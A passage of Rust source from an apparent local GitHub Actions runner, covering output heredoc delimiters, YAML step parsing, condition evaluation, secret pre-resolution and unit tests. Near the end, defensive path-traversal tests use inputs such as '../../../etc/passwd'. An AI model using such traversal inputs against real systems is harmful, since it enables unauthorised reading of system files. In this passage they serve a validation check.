4909            .open(output_path)
4910        {
4911            Ok(mut f) => {
4912                for (key, value) in &resolved {
4913                    let res = if value.contains('\n') {
4914                        // Use a unique delimiter to avoid collisions with value content
4915                        let delim = generate_heredoc_delimiter(value);
4916                        writeln!(f, "{}<<{}", key, delim)
4917                            .and_then(|_| write!(f, "{}", value))
4918                            .and_then(|_| {
4919                                if !value.ends_with('\n') {
4920                                    writeln!(f)
4921                                } else {
4922                                    Ok(())
4923                                }
4924                            })
4925                            .and_then(|_| writeln!(f, "{}", delim))
4926                    } else {
4927                        writeln!(f, "{}={}", key, value)
4928                    };
4929                    if let Err(e) = res {
4930                        wrkflw_logging::debug(&format!(
4931                            "Failed to write composite output '{}' to GITHUB_OUTPUT: {}",
4932                            key, e
4933                        ));
4934                        break;
4935                    }
4936                }
4937            }
4938            Err(e) => {
4939                wrkflw_logging::debug(&format!(
4940                    "Failed to open GITHUB_OUTPUT for composite output propagation: {}",
4941                    e
4942                ));
4943            }
4944        }
4945    }
4946}
4947
4948/// Generate a heredoc delimiter that does not appear as a standalone line in `value`.
4949/// Starts with `ghadelimiter_` and appends a numeric suffix until unique.
4950fn generate_heredoc_delimiter(value: &str) -> String {
4951    let base = "ghadelimiter";
4952    let mut candidate = base.to_string();
4953    let mut counter: u64 = 0;
4954    // Check if the candidate appears as a complete line in the value
4955    while value.lines().any(|line| line == candidate) {
4956        counter += 1;
4957        candidate = format!("{}_{}", base, counter);
4958    }
4959    candidate
4960}
4961
4962// Helper function to convert YAML step to our Step struct
4963fn convert_yaml_to_step(step_yaml: &serde_yaml::Value) -> Result<workflow::Step, String> {
4964    // Extract step properties
4965    let name = step_yaml
4966        .get("name")
4967        .and_then(|v| v.as_str())
4968        .map(|s| s.to_string());
4969
4970    let uses = step_yaml
4971        .get("uses")
4972        .and_then(|v| v.as_str())
4973        .map(|s| s.to_string());
4974
4975    let run = step_yaml
4976        .get("run")
4977        .and_then(|v| v.as_str())
4978        .map(|s| s.to_string());
4979
4980    let shell = step_yaml
4981        .get("shell")
4982        .and_then(|v| v.as_str())
4983        .map(|s| s.to_string());
4984
4985    let with = step_yaml.get("with").and_then(|v| v.as_mapping()).map(|m| {
4986        let mut with_map = HashMap::new();
4987        for (k, v) in m {
4988            if let (Some(key), Some(value)) = (k.as_str(), v.as_str()) {
4989                with_map.insert(key.to_string(), value.to_string());
4990            }
4991        }
4992        with_map
4993    });
4994
4995    let env = step_yaml
4996        .get("env")
4997        .and_then(|v| v.as_mapping())
4998        .map(|m| {
4999            let mut env_map = HashMap::new();
5000            for (k, v) in m {
5001                if let (Some(key), Some(value)) = (k.as_str(), v.as_str()) {
5002                    env_map.insert(key.to_string(), value.to_string());
5003                }
5004            }
5005            env_map
5006        })
5007        .unwrap_or_default();
5008
5009    // For composite steps with shell, construct a run step
5010    let final_run = run;
5011
5012    // Extract continue_on_error
5013    let continue_on_error = step_yaml.get("continue-on-error").and_then(|v| v.as_bool());
5014
5015    let if_condition = step_yaml
5016        .get("if")
5017        .and_then(|v| v.as_str())
5018        .map(|s| s.to_string());
5019
5020    let id = step_yaml
5021        .get("id")
5022        .and_then(|v| v.as_str())
5023        .map(|s| s.to_string());
5024
5025    let working_directory = step_yaml
5026        .get("working-directory")
5027        .and_then(|v| v.as_str())
5028        .map(|s| s.to_string());
5029
5030    let timeout_minutes = step_yaml.get("timeout-minutes").and_then(|v| v.as_f64());
5031
5032    Ok(workflow::Step {
5033        name,
5034        uses,
5035        run: final_run,
5036        with,
5037        env,
5038        continue_on_error,
5039        if_condition,
5040        id,
5041        working_directory,
5042        shell,
5043        timeout_minutes,
5044    })
5045}
5046
5047/// Evaluate a job condition expression
5048/// This is a simplified implementation that handles basic GitHub Actions expressions.
5049/// Note: step-level expressions like `steps.<id>.outcome`, `success()`, `failure()`,
5050/// `always()`, and `cancelled()` are not yet fully supported — a warning is emitted
5051/// and the condition defaults to its most likely state (`always()`/`success()` → true,
5052/// `failure()`/`cancelled()` → false).
5053fn evaluate_job_condition(
5054    condition: &str,
5055    env_context: &HashMap<String, String>,
5056    user_env: &HashMap<String, String>,
5057    _workflow: &WorkflowDefinition,
5058) -> bool {
5059    let ctx = crate::expression::ExpressionContext {
5060        env_context,
5061        step_outputs: &HashMap::new(),
5062        matrix_combination: &None,
5063        step_statuses: &HashMap::new(),
5064        job_status: "success",
5065        secrets_context: &HashMap::new(),
5066        needs_context: &HashMap::new(),
5067        needs_results: &HashMap::new(),
5068        user_env,
5069    };
5070    evaluate_condition_with_context(condition, &ctx)
5071}
5072
5073/// Evaluate a job/step `if:` condition using the expression evaluator.
5074///
5075/// Accepts the full expression context (env, step outputs, matrix) for accurate
5076/// resolution of context references and operators.
5077fn evaluate_condition_with_context(
5078    condition: &str,
5079    ctx: &crate::expression::ExpressionContext<'_>,
5080) -> bool {
5081    use crate::expression::evaluate_as_bool;
5082
5083    wrkflw_logging::debug(&format!("Evaluating condition: {}", condition));
5084
5085    match evaluate_as_bool(condition, ctx) {
5086        Ok(result) => {
5087            wrkflw_logging::debug(&format!(
5088                "Condition '{}' evaluated to {}",
5089                condition, result
5090            ));
5091            result
5092        }
5093        Err(e) => {
5094            wrkflw_logging::warning(&format!(
5095                "Condition '{}' failed to parse: {} — treating as false (step/job will be skipped)",
5096                condition, e
5097            ));
5098            // Default to false — in real GitHub Actions, unparseable conditions
5099            // cause an error. Defaulting to false is safer than silently running.
5100            false
5101        }
5102    }
5103}
5104
5105/// Filter accumulated job outputs/results to only include jobs declared in this job's `needs:`.
5106fn build_needs_context(
5107    job: &Job,
5108    all_outputs: &HashMap<String, HashMap<String, String>>,
5109    all_results: &HashMap<String, String>,
5110) -> (
5111    HashMap<String, HashMap<String, String>>,
5112    HashMap<String, String>,
5113) {
5114    let mut needs_outputs = HashMap::new();
5115    let mut needs_results = HashMap::new();
5116    if let Some(needs) = &job.needs {
5117        for needed_job in needs {
5118            if let Some(outputs) = all_outputs.get(needed_job) {
5119                needs_outputs.insert(needed_job.clone(), outputs.clone());
5120            }
5121            if let Some(result) = all_results.get(needed_job) {
5122                needs_results.insert(needed_job.clone(), result.clone());
5123            }
5124        }
5125    }
5126    (needs_outputs, needs_results)
5127}
5128
5129/// Resolve a job's declared outputs by evaluating the output expressions
5130/// (which typically reference `steps.<id>.outputs.<key>`) against the job's step outputs.
5131fn resolve_job_outputs(
5132    job: &Job,
5133    step_outputs_map: &HashMap<String, HashMap<String, String>>,
5134    step_status_map: &HashMap<String, (String, String)>,
5135    env_context: &HashMap<String, String>,
5136    user_env: &HashMap<String, String>,
5137    job_status: &str,
5138    working_dir: &Path,
5139) -> HashMap<String, String> {
5140    let mut resolved = HashMap::new();
5141    if let Some(outputs) = &job.outputs {
5142        let ctx = crate::expression::ExpressionContext {
5143            env_context,
5144            step_outputs: step_outputs_map,
5145            matrix_combination: &None,
5146            step_statuses: step_status_map,
5147            job_status,
5148            secrets_context: &HashMap::new(),
5149            needs_context: &HashMap::new(),
5150            needs_results: &HashMap::new(),
5151            user_env,
5152        };
5153        for (key, expr) in outputs {
5154            match crate::substitution::preprocess_expressions(expr, working_dir, &ctx) {
5155                Ok(val) => {
5156                    resolved.insert(key.clone(), val);
5157                }
5158                Err(e) => {
5159                    wrkflw_logging::warning(&format!(
5160                        "Failed to resolve job output '{}': {}",
5161                        key, e
5162                    ));
5163                    resolved.insert(key.clone(), String::new());
5164                }
5165            }
5166        }
5167    }
5168    resolved
5169}
5170
5171/// Pre-resolve secrets referenced in the job into a HashMap for expression evaluation.
5172/// Scans job steps, conditions, env, and outputs for `${{ secrets.NAME }}` patterns
5173/// and resolves each unique name.
5174async fn resolve_secrets_for_context(
5175    secret_manager: &SecretManager,
5176    job: &Job,
5177) -> HashMap<String, String> {
5178    use wrkflw_secrets::SecretSubstitution;
5179
5180    let mut secrets = HashMap::new();
5181    let mut all_text = String::new();
5182
5183    // Collect all text that might contain secrets references
5184    for step in &job.steps {
5185        if let Some(run) = &step.run {
5186            all_text.push_str(run);
5187            all_text.push('\n');
5188        }
5189        if let Some(cond) = &step.if_condition {
5190            all_text.push_str(cond);
5191            all_text.push('\n');
5192        }
5193        for value in step.env.values() {
5194            all_text.push_str(value);
5195            all_text.push('\n');
5196        }
5197        if let Some(with) = &step.with {
5198            for value in with.values() {
5199                all_text.push_str(value);
5200                all_text.push('\n');
5201            }
5202        }
5203    }
5204    // Also check job-level if condition and env
5205    if let Some(cond) = &job.if_condition {
5206        all_text.push_str(cond);
5207        all_text.push('\n');
5208    }
5209    for value in job.env.values() {
5210        all_text.push_str(value);
5211        all_text.push('\n');
5212    }
5213    // Check job outputs expressions
5214    if let Some(outputs) = &job.outputs {
5215        for value in outputs.values() {
5216            all_text.push_str(value);
5217            all_text.push('\n');
5218        }
5219    }
5220
5221    // Extract secret names and resolve them
5222    let refs = SecretSubstitution::extract_secret_refs(&all_text);
5223    for secret_ref in refs {
5224        let name = &secret_ref.name;
5225        if secrets.contains_key(name) {
5226            continue;
5227        }
5228        let result = if let Some(provider) = &secret_ref.provider {
5229            secret_manager
5230                .get_secret_from_provider(provider, name)
5231                .await
5232        } else {
5233            secret_manager.get_secret(name).await
5234        };
5235        match result {
5236            Ok(value) => {
5237                secrets.insert(name.clone(), value.value().to_string());
5238            }
5239            Err(_) => {
5240                // Secret not found — leave it out so expression resolves to Null
5241            }
5242        }
5243    }
5244
5245    secrets
5246}
5247
5248#[cfg(test)]
5249mod tests {
5250    use super::*;
5251
5252    lazy_static::lazy_static! {
5253        static ref TEST_ARTIFACT_DIR: tempfile::TempDir = tempfile::tempdir().unwrap();
5254        static ref TEST_ARTIFACT_STORE: crate::artifacts::ArtifactStore =
5255            crate::artifacts::ArtifactStore::new(TEST_ARTIFACT_DIR.path()).unwrap();
5256        static ref TEST_CACHE_DIR: tempfile::TempDir = tempfile::tempdir().unwrap();
5257        static ref TEST_CACHE_STORE: crate::cache::CacheStore =
5258            crate::cache::CacheStore::with_root(TEST_CACHE_DIR.path().to_path_buf()).unwrap();
5259        static ref TEST_PENDING_CACHE_SAVES: std::sync::Mutex<Vec<PendingCacheSave>> =
5260            std::sync::Mutex::new(Vec::new());
5261        static ref EMPTY_SECRETS: HashMap<String, String> = HashMap::new();
5262        static ref EMPTY_NEEDS: HashMap<String, HashMap<String, String>> = HashMap::new();
5263        static ref EMPTY_NEEDS_RESULTS: HashMap<String, String> = HashMap::new();
5264    }
5265
5266    fn test_services() -> JobServices<'static> {
5267        JobServices {
5268            secret_manager: None,
5269            secret_masker: None,
5270            secrets_context: &EMPTY_SECRETS,
5271            needs_context: &EMPTY_NEEDS,
5272            needs_results: &EMPTY_NEEDS_RESULTS,
5273            artifact_store: &TEST_ARTIFACT_STORE,
5274            cache_store: &TEST_CACHE_STORE,
5275        }
5276    }
5277
5278    #[test]
5279    fn is_git_sha_recognizes_valid_sha1() {
5280        assert!(is_git_sha("a81bbbf8298c0fa03ea29cdc473d45769f953675"));
5281    }
5282
5283    #[test]
5284    fn is_git_sha_recognizes_uppercase_hex() {
5285        assert!(is_git_sha("A81BBBF8298C0FA03EA29CDC473D45769F953675"));
5286    }
5287
5288    #[test]
5289    fn is_git_sha_rejects_short_hash() {
5290        assert!(!is_git_sha("a81bbbf"));
5291    }
5292
5293    #[test]
5294    fn is_git_sha_rejects_branch_name() {
5295        assert!(!is_git_sha("main"));
5296    }
5297
5298    #[test]
5299    fn is_git_sha_rejects_tag() {
5300        assert!(!is_git_sha("v4"));
5301    }
5302
5303    #[test]
5304    fn is_git_sha_rejects_empty() {
5305        assert!(!is_git_sha(""));
5306    }
5307
5308    #[test]
5309    fn is_git_sha_rejects_non_hex_40_chars() {
5310        assert!(!is_git_sha("zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz"));
5311    }
5312
5313    #[test]
5314    fn is_git_sha_rejects_41_chars() {
5315        assert!(!is_git_sha("a81bbbf8298c0fa03ea29cdc473d45769f9536750"));
5316    }
5317
5318    // --- get_effective_runner_image tests ---
5319
5320    fn make_job(container: Option<JobContainer>, runs_on: Option<Vec<String>>) -> Job {
5321        Job {
5322            runs_on,
5323            needs: None,
5324            container,
5325            steps: Vec::new(),
5326            env: HashMap::new(),
5327            strategy: None,
5328            services: HashMap::new(),
5329            if_condition: None,
5330            outputs: None,
5331            permissions: None,
5332            uses: None,
5333            with: None,
5334            secrets: None,
5335            timeout_minutes: None,
5336            defaults: None,
5337        }
5338    }
5339
5340    #[test]
5341    fn effective_runner_image_prefers_container() {
5342        let job = make_job(
5343            Some(JobContainer {
5344                image: "alpine:3.22".into(),
5345                credentials: None,
5346                env: HashMap::new(),
5347                ports: None,
5348                volumes: None,
5349                options: None,
5350            }),
5351            Some(vec!["ubuntu-latest".into()]),
5352        );
5353        assert_eq!(get_effective_runner_image(&job), "alpine:3.22");
5354    }
5355
5356    #[test]
5357    fn effective_runner_image_falls_back_to_runs_on() {
5358        let job = make_job(None, Some(vec!["ubuntu-latest".into()]));
5359        let image = get_effective_runner_image(&job);
5360        // Should delegate to get_runner_image_from_opt, not return empty
5361        assert!(!image.is_empty());
5362    }
5363
5364    // --- prepare_container_mounts tests ---
5365
5366    #[test]
5367    fn container_mounts_docker_runtime_remaps_env_paths() {
5368        let mut step_env = HashMap::new();
5369        step_env.insert("WRKFLW_RUNTIME_MODE".into(), "docker".into());
5370
5371        let mut job_env = HashMap::new();
5372        job_env.insert("GITHUB_ENV".into(), "/tmp/abc/github/env".into());
5373        job_env.insert("GITHUB_OUTPUT".into(), "/tmp/abc/github/output".into());
5374        job_env.insert("GITHUB_PATH".into(), "/tmp/abc/github/path".into());
5375        job_env.insert(
5376            "GITHUB_STEP_SUMMARY".into(),
5377            "/tmp/abc/github/step_summary".into(),
5378        );
5379
5380        let (volumes, github_mount) = prepare_container_mounts(&mut step_env, &job_env, None);
5381
5382        // Env vars should be remapped to container paths
5383        assert_eq!(step_env.get("GITHUB_ENV").unwrap(), "/github/workflow/env");
5384        assert_eq!(
5385            step_env.get("GITHUB_OUTPUT").unwrap(),
5386            "/github/workflow/output"
5387        );
5388        assert_eq!(
5389            step_env.get("GITHUB_PATH").unwrap(),
5390            "/github/workflow/path"
5391        );
5392        assert_eq!(
5393            step_env.get("GITHUB_STEP_SUMMARY").unwrap(),
5394            "/github/workflow/step_summary"
5395        );
5396
5397        // Should mount the github dir at /github/workflow
5398        let (host, container) = github_mount.unwrap();
5399        assert_eq!(host, PathBuf::from("/tmp/abc/github"));
5400        assert_eq!(container, PathBuf::from("/github/workflow"));
5401
5402        // No container config volumes
5403        assert!(volumes.is_empty());
5404    }
5405
5406    #[test]
5407    fn container_mounts_non_container_runtime_does_not_remap() {
5408        let mut step_env = HashMap::new();
5409        // No WRKFLW_RUNTIME_MODE set
5410
5411        let mut job_env = HashMap::new();
5412        job_env.insert("GITHUB_ENV".into(), "/tmp/abc/github/env".into());
5413
5414        let (_volumes, github_mount) = prepare_container_mounts(&mut step_env, &job_env, None);
5415
5416        // Env vars should NOT be remapped
5417        assert!(!step_env.contains_key("GITHUB_ENV"));
5418
5419        // Should mount the parent directory identity-mapped
5420        let (host, container) = github_mount.unwrap();
5421        assert_eq!(host, container); // identity mount
5422    }
5423
5424    #[test]
5425    fn container_mounts_no_github_env() {
5426        let mut step_env = HashMap::new();
5427        let job_env = HashMap::new(); // no GITHUB_ENV
5428
5429        let (volumes, github_mount) = prepare_container_mounts(&mut step_env, &job_env, None);
5430
5431        assert!(github_mount.is_none());
5432        assert!(volumes.is_empty());
5433    }
5434
5435    #[test]
5436    fn container_mounts_parses_host_container_volumes() {
5437        let mut step_env = HashMap::new();
5438        let job_env = HashMap::new();
5439
5440        let container = JobContainer {
5441            image: "node:18".into(),
5442            credentials: None,
5443            env: HashMap::new(),
5444            ports: None,
5445            volumes: Some(vec!["/host/data:/container/data".into()]),
5446            options: None,
5447        };
5448
5449        let (volumes, _) = prepare_container_mounts(&mut step_env, &job_env, Some(&container));
5450
5451        assert_eq!(volumes.len(), 1);
5452        assert_eq!(volumes[0].0, PathBuf::from("/host/data"));
5453        assert_eq!(volumes[0].1, PathBuf::from("/container/data"));
5454    }
5455
5456    #[test]
5457    fn container_mounts_parses_single_path_volumes() {
5458        let mut step_env = HashMap::new();
5459        let job_env = HashMap::new();
5460
5461        let container = JobContainer {
5462            image: "node:18".into(),
5463            credentials: None,
5464            env: HashMap::new(),
5465            ports: None,
5466            volumes: Some(vec!["/data".into()]),
5467            options: None,
5468        };
5469
5470        let (volumes, _) = prepare_container_mounts(&mut step_env, &job_env, Some(&container));
5471
5472        assert_eq!(volumes.len(), 1);
5473        assert_eq!(volumes[0].0, PathBuf::from("/data"));
5474        assert_eq!(volumes[0].1, PathBuf::from("/data"));
5475    }
5476
5477    #[test]
5478    fn container_mounts_strips_docker_options_from_volumes() {
5479        let mut step_env = HashMap::new();
5480        let job_env = HashMap::new();
5481
5482        let container = JobContainer {
5483            image: "node:18".into(),
5484            credentials: None,
5485            env: HashMap::new(),
5486            ports: None,
5487            volumes: Some(vec!["/host:/container:ro".into(), "/src:/dest:rw".into()]),
5488            options: None,
5489        };
5490
5491        let (volumes, _) = prepare_container_mounts(&mut step_env, &job_env, Some(&container));
5492
5493        assert_eq!(volumes.len(), 2);
5494        // :ro should be stripped — container path should be clean
5495        assert_eq!(volumes[0].0, PathBuf::from("/host"));
5496        assert_eq!(volumes[0].1, PathBuf::from("/container"));
5497        // :rw should be stripped
5498        assert_eq!(volumes[1].0, PathBuf::from("/src"));
5499        assert_eq!(volumes[1].1, PathBuf::from("/dest"));
5500    }
5501
5502    #[test]
5503    fn container_mounts_podman_runtime_remaps_env_paths() {
5504        let mut step_env = HashMap::new();
5505        step_env.insert("WRKFLW_RUNTIME_MODE".into(), "podman".into());
5506
5507        let mut job_env = HashMap::new();
5508        job_env.insert("GITHUB_ENV".into(), "/tmp/xyz/github/env".into());
5509        job_env.insert("GITHUB_OUTPUT".into(), "/tmp/xyz/github/output".into());
5510        job_env.insert("GITHUB_PATH".into(), "/tmp/xyz/github/path".into());
5511        job_env.insert(
5512            "GITHUB_STEP_SUMMARY".into(),
5513            "/tmp/xyz/github/step_summary".into(),
5514        );
5515
5516        let (_, github_mount) = prepare_container_mounts(&mut step_env, &job_env, None);
5517
5518        // Podman should behave identically to Docker for remapping
5519        assert_eq!(step_env.get("GITHUB_ENV").unwrap(), "/github/workflow/env");
5520        assert!(github_mount.is_some());
5521    }
5522
5523    #[test]
5524    fn container_mounts_only_remaps_existing_env_keys() {
5525        let mut step_env = HashMap::new();
5526        step_env.insert("WRKFLW_RUNTIME_MODE".into(), "docker".into());
5527
5528        let mut job_env = HashMap::new();
5529        // Only set GITHUB_ENV — the others are absent
5530        job_env.insert("GITHUB_ENV".into(), "/tmp/abc/github/env".into());
5531
5532        let (_, _) = prepare_container_mounts(&mut step_env, &job_env, None);
5533
5534        // GITHUB_ENV should be remapped
5535        assert_eq!(step_env.get("GITHUB_ENV").unwrap(), "/github/workflow/env");
5536        // Others should NOT be inserted (no phantom paths)
5537        assert!(!step_env.contains_key("GITHUB_OUTPUT"));
5538        assert!(!step_env.contains_key("GITHUB_PATH"));
5539        assert!(!step_env.contains_key("GITHUB_STEP_SUMMARY"));
5540    }
5541
5542    #[test]
5543    fn effective_runner_image_empty_image_falls_back() {
5544        let job = make_job(
5545            Some(JobContainer {
5546                image: "".into(),
5547                credentials: None,
5548                env: HashMap::new(),
5549                ports: None,
5550                volumes: None,
5551                options: None,
5552            }),
5553            Some(vec!["ubuntu-latest".into()]),
5554        );
5555        let image = get_effective_runner_image(&job);
5556        // Should fall back to runs-on, not return empty string
5557        assert!(!image.is_empty());
5558    }
5559
5560    #[test]
5561    fn container_mounts_skips_empty_container_path() {
5562        let mut step_env = HashMap::new();
5563        let job_env = HashMap::new();
5564
5565        let container = JobContainer {
5566            image: "node:18".into(),
5567            credentials: None,
5568            env: HashMap::new(),
5569            ports: None,
5570            volumes: Some(vec!["/host:".into(), ":/container".into()]),
5571            options: None,
5572        };
5573
5574        let (volumes, _) = prepare_container_mounts(&mut step_env, &job_env, Some(&container));
5575
5576        // Both specs have an empty path component and should be skipped
5577        assert!(volumes.is_empty());
5578    }
5579
5580    // --- container env precedence tests ---
5581
5582    #[test]
5583    fn container_env_has_lowest_precedence() {
5584        // Simulate the env merging logic from execute_job:
5585        // 1. Container env is inserted with or_insert (lowest precedence)
5586        // 2. Job env is inserted with insert (overrides container env)
5587        let mut job_env = HashMap::new();
5588
5589        // Step 1: container env (lowest precedence)
5590        let container = JobContainer {
5591            image: "node:18".into(),
5592            credentials: None,
5593            env: HashMap::from([
5594                ("SHARED".into(), "from-container".into()),
5595                ("CONTAINER_ONLY".into(), "container-value".into()),
5596            ]),
5597            ports: None,
5598            volumes: None,
5599            options: None,
5600        };
5601        for (key, value) in &container.env {
5602            job_env.entry(key.clone()).or_insert_with(|| value.clone());
5603        }
5604
5605        // Step 2: job env (overrides container env)
5606        let job_level_env: HashMap<String, String> = HashMap::from([
5607            ("SHARED".into(), "from-job".into()),
5608            ("JOB_ONLY".into(), "job-value".into()),
5609        ]);
5610        for (key, value) in &job_level_env {
5611            job_env.insert(key.clone(), value.clone());
5612        }
5613
5614        // Job-level env wins for shared keys
5615        assert_eq!(job_env.get("SHARED").unwrap(), "from-job");
5616        // Container-only keys are preserved
5617        assert_eq!(job_env.get("CONTAINER_ONLY").unwrap(), "container-value");
5618        // Job-only keys are preserved
5619        assert_eq!(job_env.get("JOB_ONLY").unwrap(), "job-value");
5620    }
5621
5622    // --- workflow-level env tests ---
5623
5624    #[test]
5625    fn workflow_env_does_not_override_builtin_github_vars() {
5626        // Workflow-level env uses entry().or_insert(), so it must NOT override
5627        // built-in GITHUB_* variables set by create_github_context().
5628        let mut env_context: HashMap<String, String> = HashMap::from([
5629            ("GITHUB_SHA".into(), "abc123".into()),
5630            ("CI".into(), "true".into()),
5631        ]);
5632
5633        // Simulate workflow env with keys that collide with builtins
5634        let workflow_env: HashMap<String, String> = HashMap::from([
5635            ("GITHUB_SHA".into(), "should-not-win".into()),
5636            ("CI".into(), "false".into()),
5637            ("MY_CUSTOM_VAR".into(), "custom-value".into()),
5638        ]);
5639        for (key, value) in &workflow_env {
5640            env_context
5641                .entry(key.clone())
5642                .or_insert_with(|| value.clone());
5643        }
5644
5645        // Built-in values must be preserved
5646        assert_eq!(env_context.get("GITHUB_SHA").unwrap(), "abc123");
5647        assert_eq!(env_context.get("CI").unwrap(), "true");
5648        // Custom workflow env is added
5649        assert_eq!(env_context.get("MY_CUSTOM_VAR").unwrap(), "custom-value");
5650    }
5651
5652    #[test]
5653    fn workflow_env_overridden_by_job_env() {
5654        // Precedence: workflow env (lowest) < job env < step env (highest)
5655        let mut env_context: HashMap<String, String> = HashMap::new();
5656
5657        // Step 1: workflow env (lowest precedence)
5658        let workflow_env: HashMap<String, String> = HashMap::from([
5659            ("SHARED".into(), "from-workflow".into()),
5660            ("WF_ONLY".into(), "workflow-value".into()),
5661        ]);
5662        for (key, value) in &workflow_env {
5663            env_context
5664                .entry(key.clone())
5665                .or_insert_with(|| value.clone());
5666        }
5667
5668        // Step 2: job env (overrides workflow env)
5669        let job_env: HashMap<String, String> = HashMap::from([
5670            ("SHARED".into(), "from-job".into()),
5671            ("JOB_ONLY".into(), "job-value".into()),
5672        ]);
5673        for (key, value) in &job_env {
5674            env_context.insert(key.clone(), value.clone());
5675        }
5676
5677        // Job env wins for shared keys
5678        assert_eq!(env_context.get("SHARED").unwrap(), "from-job");
5679        // Workflow-only keys are preserved
5680        assert_eq!(env_context.get("WF_ONLY").unwrap(), "workflow-value");
5681        // Job-only keys are preserved
5682        assert_eq!(env_context.get("JOB_ONLY").unwrap(), "job-value");
5683    }
5684
5685    #[test]
5686    fn workflow_env_expression_substitution() {
5687        // Workflow-level env values containing ${{ }} expressions should be resolved
5688        let env_context: HashMap<String, String> =
5689            HashMap::from([("GITHUB_REPOSITORY".into(), "owner/repo".into())]);
5690        let empty_user_env = HashMap::new();
5691        let expr_ctx = crate::expression::ExpressionContext {
5692            env_context: &env_context,
5693            step_outputs: &HashMap::new(),
5694            matrix_combination: &None,
5695            step_statuses: &HashMap::new(),
5696            job_status: "success",
5697            secrets_context: &HashMap::new(),
5698            needs_context: &HashMap::new(),
5699            needs_results: &HashMap::new(),
5700            user_env: &empty_user_env,
5701        };
5702        let cwd = std::env::current_dir().unwrap();
5703
5704        // Simulate a workflow env value with an expression
5705        let raw_value = "repo=${{ github.repository }}";
5706        let resolved = crate::substitution::preprocess_expressions(raw_value, &cwd, &expr_ctx)
5707            .unwrap_or_else(|_| raw_value.to_string());
5708
5709        assert_eq!(resolved, "repo=owner/repo");
5710    }
5711
5712    // --- evaluate_job_condition tests for step-level expressions ---
5713
5714    fn empty_workflow() -> workflow::WorkflowDefinition {
5715        workflow::WorkflowDefinition {
5716            name: "test".to_string(),
5717            on: Vec::new(),
5718            on_raw: serde_yaml::Value::Null,
5719            jobs: HashMap::new(),
5720            defaults: None,
5721            env: HashMap::new(),
5722        }
5723    }
5724
5725    #[test]
5726    fn condition_true_false_literals() {
5727        let env = HashMap::new();
5728        let wf = empty_workflow();
5729        assert!(evaluate_job_condition("true", &env, &env, &wf));
5730        assert!(!evaluate_job_condition("false", &env, &env, &wf));
5731    }
5732
5733    #[test]
5734    fn condition_steps_reference_evaluates_null_for_unknown_step() {
5735        let env = HashMap::new();
5736        let wf = empty_workflow();
5737        // Unknown step IDs resolve to null (matching GitHub Actions behavior),
5738        // so comparisons to any string are false.
5739        assert!(!evaluate_job_condition(
5740            "steps.build.outcome == 'success'",
5741            &env,
5742            &env,
5743            &wf
5744        ));
5745        assert!(!evaluate_job_condition(
5746            "steps.build.outcome == 'failure'",
5747            &env,
5748            &env,
5749            &wf
5750        ));
5751    }
5752
5753    #[test]
5754    fn condition_success_function_defaults_true() {
5755        let env = HashMap::new();
5756        let wf = empty_workflow();
5757        assert!(evaluate_job_condition("success()", &env, &env, &wf));
5758    }
5759
5760    #[test]
5761    fn condition_failure_function_defaults_false() {
5762        let env = HashMap::new();
5763        let wf = empty_workflow();
5764        assert!(!evaluate_job_condition("failure()", &env, &env, &wf));
5765    }
5766
5767    #[test]
5768    fn condition_always_function_defaults_true() {
5769        let env = HashMap::new();
5770        let wf = empty_workflow();
5771        assert!(evaluate_job_condition("always()", &env, &env, &wf));
5772    }
5773
5774    #[test]
5775    fn condition_cancelled_function_defaults_false() {
5776        let env = HashMap::new();
5777        let wf = empty_workflow();
5778        assert!(!evaluate_job_condition("cancelled()", &env, &env, &wf));
5779    }
5780
5781    #[test]
5782    fn condition_compound_failure_or_success_defaults_true() {
5783        let env = HashMap::new();
5784        let wf = empty_workflow();
5785        // success() is present, so compound expression should default to true
5786        assert!(evaluate_job_condition(
5787            "failure() || success()",
5788            &env,
5789            &env,
5790            &wf
5791        ));
5792    }
5793
5794    #[test]
5795    fn condition_compound_failure_and_cancelled_defaults_false() {
5796        let env = HashMap::new();
5797        let wf = empty_workflow();
5798        // Only negative functions, no positive counterpart → false
5799        assert!(!evaluate_job_condition(
5800            "failure() || cancelled()",
5801            &env,
5802            &env,
5803            &wf
5804        ));
5805    }
5806
5807    #[test]
5808    fn condition_always_and_failure_evaluates_correctly() {
5809        let env = HashMap::new();
5810        let wf = empty_workflow();
5811        // always() → true, failure() → false, true && false → false
5812        // The expression evaluator correctly evaluates the compound expression
5813        assert!(!evaluate_job_condition(
5814            "always() && failure()",
5815            &env,
5816            &env,
5817            &wf
5818        ));
5819        // always() alone → true
5820        assert!(evaluate_job_condition("always()", &env, &env, &wf));
5821        // always() || failure() → true (|| returns first truthy)
5822        assert!(evaluate_job_condition(
5823            "always() || failure()",
5824            &env,
5825            &env,
5826            &wf
5827        ));
5828    }
5829
5830    #[test]
5831    fn condition_parse_error_returns_false() {
5832        let env = HashMap::new();
5833        let wf = empty_workflow();
5834        // Malformed conditions should evaluate to false (not true) — matching
5835        // GitHub Actions behavior where unparseable expressions error out.
5836        assert!(!evaluate_job_condition(
5837            "&&& invalid syntax",
5838            &env,
5839            &env,
5840            &wf
5841        ));
5842        assert!(!evaluate_job_condition("== broken", &env, &env, &wf));
5843        assert!(!evaluate_job_condition("((( unmatched", &env, &env, &wf));
5844    }
5845
5846    #[test]
5847    fn condition_env_context_evaluates_correctly() {
5848        let mut env = HashMap::new();
5849        env.insert("MY_STEPS_COUNT".to_string(), "5".to_string());
5850        env.insert("_STEPS_CHECK".to_string(), "ok".to_string());
5851        let wf = empty_workflow();
5852        // env.MY_STEPS_COUNT resolves via the env context, not as a steps ref
5853        assert!(evaluate_job_condition(
5854            "env.MY_STEPS_COUNT == '5'",
5855            &env,
5856            &env,
5857            &wf
5858        ));
5859        assert!(evaluate_job_condition(
5860            "env._STEPS_CHECK == 'ok'",
5861            &env,
5862            &env,
5863            &wf
5864        ));
5865        // Missing env var → null, null != '5' → false
5866        assert!(!evaluate_job_condition(
5867            "env.MISSING_VAR == '5'",
5868            &env,
5869            &env,
5870            &wf
5871        ));
5872    }
5873
5874    // --- volume path traversal tests ---
5875
5876    fn has_path_traversal(host_path: &str) -> bool {
5877        std::path::Path::new(host_path)
5878            .components()
5879            .any(|c| matches!(c, std::path::Component::ParentDir))
5880    }
5881
5882    #[test]
5883    fn volume_traversal_check_rejects_host_traversal() {
5884        assert!(has_path_traversal("../../../etc/passwd"));
5885        assert!(has_path_traversal("/safe/../etc/passwd"));
5886    }
5887
5888    #[test]
5889    fn volume_traversal_check_allows_dotdot_in_container_path() {
5890        // Container path with ".." in it should NOT trigger the host check
5891        let vol_spec = "/safe/host:/container/..weird";
5892        let parts: Vec<&str> = vol_spec.splitn(3, ':').collect();
